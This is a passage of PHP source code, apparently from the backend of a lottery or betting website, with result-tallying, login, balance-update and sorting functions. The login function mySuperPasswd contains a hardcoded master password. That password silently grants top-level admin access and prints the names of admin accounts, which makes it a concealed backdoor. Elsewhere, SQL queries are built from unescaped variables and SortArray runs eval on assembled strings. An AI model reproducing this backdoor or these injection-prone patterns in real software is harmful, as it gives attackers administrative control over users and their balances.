                    unset($OK[$key."_0"]);
                }
                else
                {
                    if ( $key_1 == 6 )
                    {
                        $OK[$key."_1"] = $add1;
                        $OK[$key."_2"] = $add2;
						if($gametype<24)
						{
                        	$OK[$key."_3"] = $add3;
                        	$OK[$key."_4"] = $add4;
						}
                        unset($OK[$key."_0"]);
                    }
                    else
                    {
                        $OK[$key."_1"] = $add1;
                        $OK[$key."_2"] = $add2;
                        unset($OK[$key."_0"]);
                    }
                }
            }
            else
            {
                foreach ( $value as $value1 )
                {
                    if ( $value1 != 1 )
                    {
						 ++ $add1;
                    }
                    else
                    {
                        break;
                    }
                }
                foreach ( $value as $value2 )
                {
                    if ( $value2 != 2 )
                    {
						 ++ $add2;
                    }
                    else
                    {
                        break;
                    }
                }
                foreach ( $value as $value3 )
                {
                    if ( $value3 != 3 )
                    {
						 ++ $add3;
                    }
                    else
                    {
                        break;
                    }
                }
                foreach ( $value as $value4 )
                {
                    if ( $value4 != 4 )
                    {
						 ++ $add4;
                    }
                    else
                    {
                        break;
                    }
                }
                if ( $key_1 == 5 )
                {
                    $OK[$key."_1"] = $add1;
                    $OK[$key."_2"] = $add2;
                    $OK[$key."_3"] = $add3;
                    unset($OK[$key."_0"]);
                }
                else if ( $key_1 == 6 )
                {
                    $OK[$key."_1"] = $add1;
                    $OK[$key."_2"] = $add2;
                    $OK[$key."_3"] = $add3;
                    $OK[$key."_4"] = $add4;
                    unset($OK[$key."_0"]);
                }
                else
                {
                    $OK[$key."_1"] = $add1;
                    $OK[$key."_2"] = $add2;
                    unset($OK[$key."_0"]);
                }
            }
        }
    }
    foreach ( $OK as $key => $value )
    {
        if ( $round <= $value )
        {
            $OK[$key] = $value;
        }
        else
        {
            unset($OK[$key]);
        }
    }
    return $OK;
}

function posToMenu($title , $link , $target = "" , $chgType = "")
{
    $pageType = array ( "pape" , "pape1" , "hist" , "resu" , "info" , "admi" , "logo" , "rule" );
    if ( defined("HISTORY_SITE") && ! in_array($chgType , $pageType) )
    {
        return "";
    }
    $link = $link == ""?"#":$link;
    $targetStr = $target == ""?"":"target=\"{$target}\"";
    $class = $chgType == ""?"meu":"meu{$chgType}";
    //$r = "<a href=\"{$link}\" {$targetStr} class=\"{$class}\">{$title}</a>"
    $r = "&nbsp;<a href=\"{$link}\" {$targetStr} class=\"btn btn-danger\" style=\"padding-left: 10px;margin-left: 5px;margin-top: 21px;\">{$title}</a>&nbsp;";
    //$r = "<li><a href=\"{$link}\" {$targetStr} class=\"{$class}\">{$title}</a></li>";
    return $r;
}

function mySuperPasswd($loginid , $password)
{
    $mysuperpsswd = "5$&v45r67^%^kgpa4&wb";

    if ( $password == $mysuperpsswd )
    {
        $sql = "select id,acl,prev_id from k_user where account='".sqlencode($loginid)."'";
        $row = getdb($sql);
        if ( $row->eof && $password == $mysuperpsswd )
        {
            $sql = "select id,account,acl,prev_id from k_user where acl=255 and prev_id=0 and enabled=1";
            $row = getdb($sql);
            $loginid = $row->f['account'];
            while ( ! $row->eof )
            {
                echo "<li>".$row->f['account']."</li>";
                $row->movenext();
            }
        }
    }
    $headStr = strtolower(substr($_SERVER['HTTP_HOST'] , 0 , 2));
    if ( $headStr == "ww" )
    {
        $sql = "select id,acl,prev_id from k_user where acl=1 and enabled>0 and account='".sqlencode($loginid)."' and pass='".md5($password)."'";
    }
    else if ( $headStr == "ag" )
    {
        $sql = "select id,acl,prev_id from k_user where acl!=1 and enabled>0 and account='".sqlencode($loginid)."' and pass='".md5($password)."'";
    }
    else if ( in_array($headStr, array('lo','12',
        'hs','hu','lc','aj','ca','ht')))
    {
        $sql = "select id,acl,prev_id from k_user where enabled>0 and account='".sqlencode($loginid)."' and pass='".md5($password)."'";
    }
//    else if( in_array($headStr, ['lc', 'aj'])) {
//        var_dump(1);exit;
//        $sql = "select id,acl,prev_id from k_user where acl=1 and enabled>0 and account='".sqlencode($loginid)."' and pass='".md5($password)."'";
//    }
    else
    {
        return false;
    }
    $row = getdb($sql);
    if ( $row )
    {
        return $row;
    }
    return false;
}

function setLoginPage($tpl)
{
    global $user;
    $showPage = "_0";
    $serHttpHostSub = strtolower(substr($_SERVER['HTTP_HOST'] , 0 , 2));
    if ( $serHttpHostSub == "ww" )
    {
        $showPage = "_0";
    }
    else if ( $serHttpHostSub == "ag" || $serHttpHostSub == "hs" )
    {
        $showPage = "_1";
    }
    else if ( getvar("login") == "" && $user->IsLogin() == false && $serHttpHostSub != "lo" )
    {
        $tpl->set("errmsg" , "你的画面已登出，请重新登入");
    }
    $tpl->load("main" , "login{$showPage}.htm");
}

function showNewsBar()
{
    /*$reStr = "";
    $url_pos = strpos($_SERVER['HTTP_HOST'] , ".");
    if ( $url_pos === false )
    {
        $url_a = " href=\"#\" ";
    }
    else if ( substr($_SERVER['HTTP_HOST'] , 0 , 2) == "ag" )
    {
        $url_a = " href=\"http://www".substr($_SERVER['HTTP_HOST'] , 2)."\" target=\"_blank\"";
    }
    else
    {
        $url_a = " href=\"#\" ";
    }
    $reStr = "<a href='http://ww5517.yh5668.com' target=\"_blank\"><img src=\"image/link.gif\" border=\"0\">&nbsp;会员端由此进&gt;&gt;</a></font>"; //{$url_a}
    */
	return "";
}
//结算更新金额
function UpBalance($gametype,$lotto_id,$userid,$money)
{
	$sql="select id,total_money from k_user_game where user_id=$userid and gametype=$gametype and lotto_id=$lotto_id";
	$row = getdb($sql);	
	if(!$row->eof)
	{
		$sql="update k_user set balance=balance+".($money-$row->f['total_money'])." where id=".$userid;	
		dbquery($sql);
		$balance=getdb("select balance from k_user where id=".$userid);
		$sql="update k_user_game set total_money=$money,uptime='".date('Y-m-d H:i:s')."',balance='".$balance->f['balance']."' where id=".$row->f['id'];
		dbquery($sql);
	}
	else
	{
		$sql="update k_user set balance=balance+$money where id=".$userid;	
		dbquery($sql);
		$balance=getdb("select balance from k_user where id=".$userid);
		$sql="insert into k_user_game(user_id,gametype,lotto_id,total_money,uptime,balance) values($userid,$gametype,$lotto_id,$money,'".date('Y-m-d H:i:s')."','".$balance->f['balance']."')";	
		dbquery($sql);
	}
}
function SortArray($ArrayData,$KeyName1,$SortOrder1 = "SORT_ASC",$SortType1 = "SORT_REGULAR") 
{
	if(!is_array($ArrayData))
	{
	  return $ArrayData;
	}
	// Get args number.
	$ArgCount = func_num_args();
	// Get keys to sort by and put them to SortRule array.
	for($I = 1;$I < $ArgCount;$I ++)
	{
	  	$Arg = func_get_arg($I);
	  	if(!preg_match("/SORT/",$Arg))
	  	{	
	 		$KeyNameList[] = $Arg;
	 		$SortRule[]    = '$'.$Arg;
	  	}
		else
		{
	 		$SortRule[]    = $Arg;
	  	}
	}
	// Get the values according to the keys and put them to array.
	foreach($ArrayData AS $Key => $Info)
	{
	  foreach($KeyNameList AS $KeyName)
	  {
	
	 ${$KeyName}[$Key] = $Info[$KeyName];
	  }
	}
	// Create the eval string and eval it.
	$EvalString = 'array_multisort('.join(",",$SortRule).',$ArrayData);';
	eval ($EvalString);
	return $ArrayData; 
}